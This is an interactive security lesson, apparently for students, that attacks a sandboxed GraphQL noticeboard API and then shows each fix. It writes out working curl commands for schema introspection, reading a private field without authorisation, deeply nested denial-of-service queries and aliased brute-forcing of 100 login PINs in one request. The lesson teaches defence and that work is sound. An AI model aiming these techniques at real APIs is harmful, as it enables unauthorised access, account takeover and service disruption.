Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

GraphQL attacks and how to stop them

After this lesson: I can test a GraphQL API for its common weaknesses and say which limit fixes each.

60 min lesson12 commandsGraphQL lab: attack a GraphQL API, then fix it

A quick check that you are not a bot, then your own lab opens on the interactive lesson.

Already have an account? Sign in

One endpoint that answers anything

GraphQL is a way to build an API with one endpoint. The caller sends a query naming exactly the fields it wants, nested as deep as it likes, and gets them back in one reply.

That freedom is the point, and it is also the risk. This lesson attacks a GraphQL API, then shows the fix for each attack.

The one rule

Warning

Attack only the noticeboard in your own lab copy. Its accounts are made up and it has no way out. Querying a real API to get round its controls is unauthorised access: in the UK, a crime under the Computer Misuse Act 1990.

Quick check: the rule

Have a go

Quick check: the rule

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

By the end of this lesson

Note

I can test a GraphQL API for its common weaknesses and say which limit fixes each.

Key words

WordWhat it meansExample
GraphQLa query language for an API with one endpoint
Schemathe types and fields an API offers
Introspectionasking the API for its own schema
Depthhow many levels a query nests
Aliasa new name for a field, so it can repeatp1: login(...)
Batchingmany queries sent in one request

The cells students fill in are left blank in this preview.

Starter

Have a go

Starter

4 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

A query names the fields it wants

The lab's API is a college noticeboard with users and posts. A query is sent as JSON to /graphql. The first Run asks for every post's title and its author's name.

The reply has the same shape as the query. Nothing else is sent, which is why apps like GraphQL.

Every post and its author

Command
curl -s -H "Content-Type: application/json" -d '{"query":"{ posts { title author { name } } }"}' http://graphql:4000/graphql | head -c 160

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

The API will describe itself

Introspection asks the API for its schema: every type and field. It is useful to developers and to attackers, who learn every field without guessing.

Even with it off, many servers suggest a field when you misspell one. Try both, then try the fixed API, which also suggests nothing.

Ask for the whole schema

Command
curl -s -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name fields { name } } } }"}' http://graphql:4000/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Misspell a field on purpose

Command
curl -s -H "Content-Type: application/json" -d '{"query":"{ user(id: 2) { emial } }"}' http://graphql:4000/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Introspection on the fixed API

Command
curl -s -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' http://graphql:4000/fixed/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Authorisation belongs on every field

In GraphQL every field has its own small function, a resolver. If the check sits on the endpoint and not on each field, a private field is one query away.

Ask the old API for dev's private note with no token. Then ask the fixed API as ana, a student.

A private note, with no token

Command
curl -s -H "Content-Type: application/json" -d '{"query":"{ user(id: 4) { name privateNote } }"}' http://graphql:4000/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

The same on the fixed API, as ana

Command
curl -s -H "Content-Type: application/json" -H "Authorization: Bearer tok-ana-4062" -d '{"query":"{ me { name } user(id: 4) { privateNote } }"}' http://graphql:4000/fixed/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

One request can cost a thousand

A post has an author, and an author has posts, so a query can loop. Each extra pair of levels triples the reply here.

The Run sends four queries, each two levels deeper, and prints the reply size and the number of titles. A real server with thousands of rows falls over long before the attacker tires.

Four queries, each two levels deeper

Command
for d in "posts { title }" "posts { author { posts { title } } }" "posts { author { posts { author { posts { title } } } } }" "posts { author { posts { author { posts { author { posts { title } } } } } } }"; do curl -s -o out -w "%{size_download} bytes, titles: " -H "Content-Type: application/json" -d "{\"query\":\"{ $d }\"}" http://graphql:4000/graphql; grep -o '"title"' out | wc -l; done

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

The deepest one on the fixed API

Command
curl -s -H "Content-Type: application/json" -d '{"query":"{ posts { author { posts { author { posts { author { posts { title } } } } } } } }"}' http://graphql:4000/fixed/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Try it: how fast nesting grows

Code: python
# Each post has one author, and each author has 3 posts.
posts = 12
for levels in range(1, 6):
    print("posts nested", levels, "times:", posts)
    posts = posts * 3
# Change 3 to 10, as for a club with ten posts each. How fast does it grow?

Make a free account to save your work and track your progress.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

A hundred guesses in one request

An alias lets one field appear many times in one query, each with its own arguments. So one request can try 100 PINs for ben.

The first Run writes the 100 guesses into a file. The second sends them as one request. Then five single wrong guesses show what the old limit counts.

Write 100 aliased guesses

Command
for p in $(seq 1300 1399); do printf 'p%s: login(name: \\"ben\\", pin: \\"%s\\") { token } ' $p $p; done > guesses

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Send them as one request

Command
curl -s -H "Content-Type: application/json" -d "{\"query\":\"mutation { $(cat guesses) }\"}" http://graphql:4000/graphql | grep -o '"p[0-9]*": {"token": "[^"]*"'

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Five single guesses after it

Command
for i in 1 2 3 4 5; do curl -s -o /dev/null -w "%{http_code} " -H "Content-Type: application/json" -d '{"query":"mutation { login(name: \"ben\", pin: \"0000\") { ok } }"}' http://graphql:4000/graphql; done

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

The 100 guesses on the fixed API

Command
curl -s -H "Content-Type: application/json" -d "{\"query\":\"mutation { $(cat guesses) }\"}" http://graphql:4000/fixed/graphql

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

A common mistake

Warning

Many people think a GraphQL API is limited like any other, one request at a time. One request can hold a hundred aliases, a batch of queries or a loop of nesting. Count the work inside each request: depth, aliases, batch size and login attempts.

Fix it and watch for it

Fix: turn introspection and suggestions off in production. Check authorisation in every resolver. Cap depth, aliases and batch size, and count login attempts per account. The fixed API does all five.

Detect: log each query's depth, alias count and the fields it touched. Alert on many login fields in one request.

Assignment: measure a query before running it

A server measures a query before running it. Write three functions over the query text. Text inside double quotes is a string and counts for nothing; a string holds no \".

depth(query) returns the deepest nesting of { braces, so { posts { title } } is 2. aliases(query) returns how many : appear outside strings and outside round brackets, which is the number of aliases (p1: login(pin: "1") has one: the : in brackets is an argument). check(query, max_depth, max_aliases) returns "ok", or "too deep" if the depth is over max_depth, or else "too many aliases" if the aliases are over max_aliases.

Code: python
def depth(query):
    return query.count("{")


def aliases(query):
    return query.count(":")


def check(query, max_depth, max_aliases):
    return "ok"

Make a free account to save your work and track your progress.

Exit quiz

Have a go

Exit quiz

5 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Teaching a class? Set this module for your students with a teacher guide, marked assignments and a lab for every student.